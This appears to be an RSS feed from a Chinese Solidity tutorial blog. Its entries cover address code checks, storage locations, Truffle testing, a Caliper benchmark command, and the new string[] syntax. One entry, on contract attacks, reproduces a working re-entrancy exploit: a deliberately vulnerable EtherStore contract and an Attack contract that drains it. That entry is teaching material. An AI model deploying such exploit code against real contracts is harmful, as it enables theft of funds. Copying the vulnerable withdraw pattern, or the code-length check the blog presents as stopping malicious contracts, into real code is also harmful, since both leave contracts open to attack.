开发者日记 - Solidity
type: channel
link: https://blog.web3er.cn/tag/solidity/
items: solidity中将地址转化为字节码，进行判断地址的所属权
items: solidity-存储位置-memory、storage、calldata
items: solidity合约攻击以及预防办法
items: solidity快速入门
items: 测试Solidity合约的Truffle JS代码的基本框架：
items: npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/helloworld/config.yaml --caliper
items: solidity语法--new string[]是什么，怎么使用？举例说明一下

solidity中将地址转化为字节码，进行判断地址的所属权
type: item
date: 2023-09-08T13:22:00+08:00
description: solidity中将地址转化为字节码，进行判断地址的所属权例如可以进行参加领取礼物活动时只让用户领取，而恶意合约无法领取// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.4.0 <0.9.0; contract addressCode{ function getCode(address add) public view returns(bytes memory) { return address(add).code; } function gift() public view returns(uint256){ bytes memory senderCode = getCode(msg.sender); require(uint8(senderCode.length) == 0 ,unicode"合约不能调用，只能用户调用"); return senderCode.length; } function giftContruct(address add_) public view returns(uint256){ bytes memory senderCode = getCode(add_); // require(uint8(senderCode.length) == 0 ,unicode"合约不能调用，只能用户调用"); return senderCode.length; } }

solidity-存储位置-memory、storage、calldata
type: item
date: 2023-09-04T09:49:47+08:00
description: solidity中的存储位置分为三种，使用memory、storage、calldata来进行区分：storage：属于状态变量，数据会存储在链上，仅适用于所有引用类型：string，bytes，数组，结构体，mapping等；memory：仅存储在内存中，供函数使用，数据不上链，适用于所有类型，包括：值类型（int，bool，bytes8等）引用类型（string，bytes，数组，结构体，mapping）calldata：存储函数的参数的位置，是只读的（只有calldata支持数组切片，状态变量不可以直接使用切片，需要new新数组，然后使用for循环解决）其他：Solidity 变量中 memory 、calldata 2 个表示作用非常类似，都是函数内部临时变量，它们最大的区别就是 calldata 是不可修改的，在某些只读的情况比较省 Gas.局部变量（此处指引用类型）默认是Storage类型的，只能将使用storage类型赋值，不能使用memory类型来赋值。// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract DataLocations { uint[] public arr = [1, 2, 3]; mapping(uint => address) public map; struct MyStruct { uint foo; } mapping(uint => MyStruct) public myStructs; function test() public { // get a struct from a mapping MyStruct storage myStruct = myStructs[1]; // create a struct in memory MyStruct memory myMemStruct = MyStruct(0); // call _f with state variables _f(arr, map, myStruct); //invalid convertion, failed to call // _f(arr, map, myMemStruct); _g(arr); this._h(arr); } function _f( uint[] storage _arr, mapping(uint => address) storage _map, MyStruct storage _myStruct ) internal { // do something with storage variables _arr.push(100); _map[20] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; _myStruct.foo = 20; } // You can return memory variables function _g(uint[] memory _arr) public returns (uint[] memory) { // do something with memory array _arr[0] = 100; } function _h(uint[] calldata _arr) external { // do something with calldata array // calldata is read-only // _arr[2] = 200; } }memory和storage进阶// SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "hardhat/console.sol"; contract Test{ constructor() { personArrayGlobal.push(Person("Lily", 20, true)); personArrayGlobal.push(Person("James", 30, false)); } struct Person { string name; uint256 age; bool married; } Person[] public personArrayGlobal; // remix: "Lily", 20, true function changeTestMemory(Person[] memory _psersonArray) public { Person memory pTmp = _psersonArray[0]; // error, 不能基于memory对象创建sto…

solidity合约攻击以及预防办法
type: item
date: 2023-07-26T19:37:00+08:00
description: 1.重入攻击合约复现重入攻击原理就是在提钱进行转账交易的时候，黑客会将利用了回退函数在目标合约进行ETH转账时进行重入攻击，在攻击合约收到钱后会继续调用提钱函数，而不是直接到 balances[msg.sender] = 0; 这个步骤，从而达到将bank合约中的余额都提完。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* EtherStore is a contract where you can deposit and withdraw ETH. This contract is vulnerable to re-entrancy attack. Let's see why. 1. Deploy EtherStore 2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore 3. Deploy Attack with address of EtherStore 4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). You will get 3 Ethers back (2 Ether stolen from Alice and Bob, plus 1 Ether sent from this contract). What happened? Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing. Here is how the functions were called - Attack.attack - EtherStore.deposit - EtherStore.withdraw - Attack fallback (receives 1 Ether) - EtherStore.withdraw - Attack.fallback (receives 1 Ether) - EtherStore.withdraw - Attack fallback (receives 1 Ether) */ contract EtherStore { mapping(address => uint) public balances; address public addr ; function deposit() public payable { addr =msg.sender; balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { // require(msg.value >= 1 ether,"invaild"); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } function pot() …

solidity快速入门
type: item
date: 2023-07-20T22:44:00+08:00
description: solidity快速入门从实战角度讲解solidity --- 学无止尽，本篇文章会持续更新在变量前使用public修饰等于自动帮他创建一个get函数不可变类型在 Solidity 中，constant 是一个修饰符，用于声明函数的状态。它指示函数不会修改或访问合约的状态。具体来说，constant 表示一个函数是只读的，不会修改合约中的数据。在变量前加一个constant表示变量不可被修改string constant str001 = "hell";//constant修饰的不可变量 //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract Constants { string public constant addr1 = "0x1"; // 定义常量不可更改 // string public immutable addr2 = "0x2"; //string无法使用immutable address public constant addr3 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; function setAddr1() public { // addr1 = "0x111"; // 这行代码会报错，因为 addr1 是 constant 的 } }//immutable修饰的不可变量 //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract Immutable{ bytes32 public immutable STR; address public address1 ; // 合约部署时自动初始化的值 ,immutable只能在constructor初始化时才能修改/定义 constructor(){ STR = "hi"; address1 = msg.sender; } }函数处理变量在 Solidity 中，有几种不同的数据位置用于处理函数参数和变量。这些位置包括 memory、storage 和 calldata。memory：表示数据将被存储在临时内存中。这适用于函数内部创建的变量或函数参数，因为它们只在函数执行期间存在，并在函数执行后被清除。storage：表示数据将被永久存储在区块链的状态中。这适用于合约的状态变量，它们在合约被部署后一直存在。calldata：表示数据位于交易的输入数据中，它在函数调用期间被读取。这适用于函数的参数，特别是在从外部调用合约时，参数通常会出现在事务数据中。在 Solidity 函数中，参数的数据位置默认情况下是 calldata。但是对于字符串类型，必须显式指定数据位置为 memory 或 calldata，以便在函数内部使用它们。//SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract getandset{ string public name1 ; function set(string memory _name) public{ name1 = _name; } function get()view public returns(string memory greeting){ return name1; } } function get()view public returns(string memory a){ a = "11"; //直接复制returns的参数，不需要写return可以直接进行赋值返回 }在有多个变量的时候可以更好的展示，用前缀greeting（自定义的），在获取实际数据的时候不会展示前缀，也可以理解为更清晰的让你看懂这个代码返回的参数是什么意思function函数返回值// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract Function { // Functions can return multiple values. function returnMany() public pure returns (uint, bool, uint) { return (1, true, 2); } // Return values can be named. function named() public pure returns (uint x, bool b, uint y) { return (1, true, 2); } // Return values can be assigned to their…

测试Solidity合约的Truffle JS代码的基本框架：
type: item
date: 2023-04-23T22:34:00+08:00
description: 先使用Truffle init初始化文件初始化Truffle项目当你使用 truffle init 命令初始化一个Truffle项目时，会生成以下几个文件夹：contracts 文件夹：这个文件夹是用来存放 Solidity 合约文件的地方。你的项目中的每个合约都应该存放在这个文件夹中。当你使用 truffle compile 命令编译合约时，编译后的合约文件将生成在 build/contracts 文件夹中。migrations 文件夹：这个文件夹用于存放合约的部署脚本（migration scripts）。合约的部署脚本是以 JavaScript 文件的形式存在，用于在以太坊网络上部署和更新合约。Truffle 框架使用这些脚本来管理合约的部署和迁移。你可以在这个文件夹中创建和管理部署脚本。test 文件夹：这个文件夹用于存放合约的测试脚本。在这里，你可以编写用于测试合约功能和逻辑的 JavaScript 测试脚本。Truffle 框架提供了一组强大的工具和库，用于编写和执行测试，确保合约的正确性和稳定性。migrations 和 test 文件夹中的示例文件：Truffle 在这两个文件夹中都提供了一个示例文件，分别是 1_initial_migration.js 和 sample-test.js。这些示例文件可以作为你编写自己的部署脚本和测试脚本的参考。build 文件夹：这个文件夹包含了通过编译合约生成的文件，包括 ABI（Application Binary Interface，应用二进制接口）、合约的字节码以及其他与合约相关的信息。Truffle 框架会自动将编译后的文件保存在这个文件夹中。除了上述文件夹，还会生成一些其他的文件，如 truffle-config.js（或 truffle.js）和 package.json。这些文件用于配置 Truffle 项目的设置和依赖项管理。当有多个部署文件时当你在Truffle的migrations文件夹中只有一个部署脚本时，Truffle会默认执行该部署脚本中的内容。Truffle会按照文件名的字典顺序来执行部署脚本。默认情况下，Truffle使用数字作为部署脚本文件名的前缀（如1_initial_migration.js），以确保它们按照正确的顺序执行。如果你只有一个部署脚本文件，它会是字典顺序中的第一个，因此会被默认执行。你可以在部署脚本中使用Truffle提供的全局函数（如deployer.deploy()）来部署合约。部署脚本可以包含多个合约的部署操作，或者其他你需要执行的任务。如果你想要执行特定的部署脚本，你可以使用truffle migrate --f 命令来指定要执行的部署脚本的索引号。例如，truffle migrate --f 2将执行第二个部署脚本。需要注意的是，Truffle会记录已经执行过的部署脚本，以便在后续的迁移中跳过这些已经执行的脚本，从而避免重复执行。如果你需要重新执行部署脚本，可以使用--reset选项，例如truffle migrate --reset。总结起来，当只有一个部署脚本文件存在时，Truffle会默认执行该部署脚本中的内容。你也可以通过命令行选项来指定要执行的部署脚本，或者使用--reset选项重新执行已经执行过的部署脚本。如果你有多个测试文件如果你有多个测试文件，Truffle提供了一种灵活的方式来执行这些测试文件。以下是一些你可以使用的方法：执行所有测试文件：在命令行中运行 truffle test，Truffle将会执行所有位于 test 文件夹中的测试文件。它会按照文件名的字典顺序执行这些测试文件。执行特定的测试文件：如果你只想执行特定的测试文件，可以在命令行中指定测试文件的路径，例如 truffle test ./test/myTest.js。这将只执行指定的测试文件。按照文件名前缀顺序执行：Truffle会按照文件名的字典顺序执行测试文件。你可以在测试文件的文件名中使用数字前缀，例如 01_test.js、02_test.js，以确保它们按照正确的顺序执行。使用测试文件之间的依赖关系：如果你的测试文件之间有依赖关系，你可以在测试文件中使用 before 或 beforeEach 钩子函数来设置和准备依赖项。这样，你可以确保测试文件按照正确的顺序执行，并在需要时共享依赖项。组织测试文件：你可以在 test 文件夹中创建子文件夹来组织测试文件。Truffle会递归地执行所有子文件夹中的测试文件。这样，你可以根据需求组织和管理测试文件。需要注意的是，Truffle使用Mocha测试框架来运行测试文件。因此，你可以在测试文件中使用Mocha提供的各种功能，例如 describe、it、before、beforeEach…

npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/helloworld/config.yaml --caliper
type: item
date: 2023-04-20T16:05:00+08:00
description: 这句话是用于在Caliper中运行基准测试的命令。下面是对每个参数的解释：npx caliper benchmark run：表示使用Caliper运行基准测试。--caliper-workspace caliper-benchmarks：表示指定Caliper的工作目录为caliper-benchmarks。--caliper-benchconfig benchmarks/samples/fisco-bcos/helloworld/config.yaml：表示指定基准测试的配置文件为config.yaml，该文件位于benchmarks/samples/fisco-bcos/helloworld/目录下。--caliper-networkconfig networks/fisco-bcos/4nodes1group/fisco-bcos.json：表示指定FISCO BCOS网络的配置文件为fisco-bcos.json，该文件位于networks/fisco-bcos/4nodes1group/目录下。综上所述，这个命令的作用是在Caliper中运行一个基准测试，该测试使用FISCO BCOS网络，并且使用config.yaml文件中的配置来运行测试。

solidity语法--new string[]是什么，怎么使用？举例说明一下
type: item
date: 2023-04-06T20:58:00+08:00
description: new string[] 是 Solidity 中用于动态创建字符串数组的语法。它的作用是在内存中分配一段连续的空间以存储字符串数组，并返回该数组的指针。其语法格式为：new string[](uint length)其中，length 表示数组的长度。以下举例说明如何使用 new string[] 创建并初始化一个存储字符串的动态数组：pragma solidity ^0.8.0; contract Example { function createArray() public pure returns(string[] memory arr) { // 创建一个长度为 2 的字符串数组 arr = new string[](2); // 给数组赋值 arr[0] = "Hello"; arr[1] = "Solidity"; } }在这个例子中，我们定义了一个名为 Example 的合约，其中包含了一个名为 createArray 的函数。函数返回一个存储字符串的动态数组 arr，初始化并赋值后返回。首先，在 createArray 函数中，我们使用 new string[](2) 创建了一个长度为 2 的字符串数组，并将其赋值给变量 arr。然后，我们给数组 arr 的第 0 个元素赋值 "Hello"，给第 1 个元素赋值 "Solidity"。最后，我们返回数组 arr。需要注意的是，这里使用 new string[] 创建的字符串数组在运行时存储在内存中，而不是永久存储在区块链上，因此其生命周期受限于合约的执行。